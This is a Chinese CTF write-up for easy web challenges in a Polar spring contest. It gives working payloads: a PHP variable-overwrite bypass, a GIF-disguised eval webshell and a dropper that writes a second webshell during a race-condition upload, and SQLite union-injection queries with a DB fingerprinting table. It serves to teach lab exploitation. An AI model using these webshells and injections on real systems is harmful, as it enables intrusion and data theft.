Polar春季个人挑战赛WEB简单部分

The Gift

复制代码
<?php
  include 'config.php';

highlight_file(__FILE__);
error_reporting(0);

class ConfigModel {
  public $apiKey = ''; #存放生成的随机 Key
  public $isAdmin = false; #管理员权限标识,初始为 false
  public $requestTime = 0;

  public function __construct() {
    $this->requestTime = time();
    $this->apiKey = md5($_SERVER['REMOTE_ADDR'] . rand(1, 99999) . "S4ltY_String");
    #使用 IP + 随机数 + 盐值生成 MD5,理论上很难暴力破解
  }

  public function validateApiKey($inputKey) {
    if ($inputKey === $this->apiKey) {
      $this->isAdmin = true;
      # 只有 Key 正确,才会设置为 true
      return true;
    }
    return false;
  }
}

$config = new ConfigModel();

$requestData = array_merge($_GET, $_POST);
#合并 GET 和 POST 请求的数据
foreach ($requestData as $key => $value) {
  $$key = $value;
  #可变变量赋值
}

if (isset($user_api_key)) {
  $config->validateApiKey($user_api_key);
}

if (is_array($config) && isset($config['isAdmin']) && $config['isAdmin'] === 'true') {
  die("Success" . $FLAG);
} else {
  echo "<br>Access Denied.";
}
?>
Access Denied.
复制代码
在 PHP 中,$config->isAdmin(访问对象属性)和 $config['isAdmin'](访问数组键值)是完全不同的
原本类定义里 isAdmin 是布尔值 false
但最后的 if 语句却要求 $config 必须是数组,且其值必须是字符串 'true'。
既然代码要求 $config 是数组,而我们又拥有"变量覆盖"的能力
我们直接把 $config 覆盖成它想要的数组即可
  payload:
config[isAdmin]=true

并发上传

复制代码
争用条件是一种常见的漏洞类型,与业务逻辑缺陷密切相关
当网站在没有足够保护措施的情况下同时处理请求时,就会发生这种情况
这可能导致多个不同的线程同时与相同的数据进行交互,从而导致"冲突",从而导致应用程序中出现意外行为
争用条件攻击使用精心定时的请求来造成故意冲突,并利用这种意外行为来达到恶意目的

根据题目可知这是一道条件竞争题目

复制代码
GIF89a
<?=eval($_REQUEST['cmd']);?>

尝试第一种payload能上传但是不能查看,我们直接开始条件竞争

复制代码
<?php fputs(fopen("cmd.php","w"),'<?php @eval ($_POST["cmd"]); ?>'); ?>

同样进行配置

upload/shell.php

看到返回200即可

我们进行蚁剑连接

注意我们构造的payload用的是cmd.php

shell.php只是用来写入的,不要搞错了

成功获取flag

经过测试存在SQL注入

如何确定为什么数据库

|----------------|----------------------------------|------------------------------------------|
| 数据库类型 | 测试 Payload | 说明 |
| SQLite | sqlite_version() | 只有 SQLite 识别这个函数 |
| MySQL | version()@@version | 虽然 Postgres 也用 version(),但 MySQL 常用 @@ |
| PostgreSQL | version() | 返回包含 "PostgreSQL" 字样的详细字符串 |
| MSSQL | @@version | 典型的 Microsoft SQL Server 标识 |
| Oracle | (select banner from v$version) | Oracle 语法较严苛,通常需要 from dual |

确定为sqlite数据库

复制代码
' union select 1,group_concat(tbl_name),3 from sqlite_master where type='table'--+

看不了列名,盲猜为flag

复制代码
' union select 1,flag,3 from flaggggggggggg--+
相关推荐
还有你Y18 小时前
Shell 脚本语法
前端·语法·sh
踩着两条虫19 小时前
如何评价VTJ.PRO?
前端·架构·ai编程
Mh20 小时前
鼠标跟随倾斜动效
前端·css·vue.js
小码哥_常21 小时前
Kotlin类型魔法:Any、Unit、Nothing 深度探秘
前端
冬奇Lab1 天前
Android 开发要变天了:Google 专为 Agent 重建工具链,Token 减少 70%、速度提升 3 倍
android·人工智能·ai编程
Web极客码1 天前
深入了解WordPress网站访客意图
服务器·前端·wordpress
幺风1 天前
Claude Code 源码分析 — Tool/MCP/Skill 可扩展工具系统
前端·javascript·ai编程
vjmap1 天前
唯杰地图CAD图层加高性能特效扩展包发布
前端·gis
ZC跨境爬虫1 天前
3D 地球卫星轨道可视化平台开发 Day7(AI异步加速+卫星系列精简+AI Agent自动评论)
前端·人工智能·3d·html·json
ID_180079054731 天前
淘宝 API 上货 / 商品搬家 业务场景实现 + JSON 返回示例
前端·javascript·json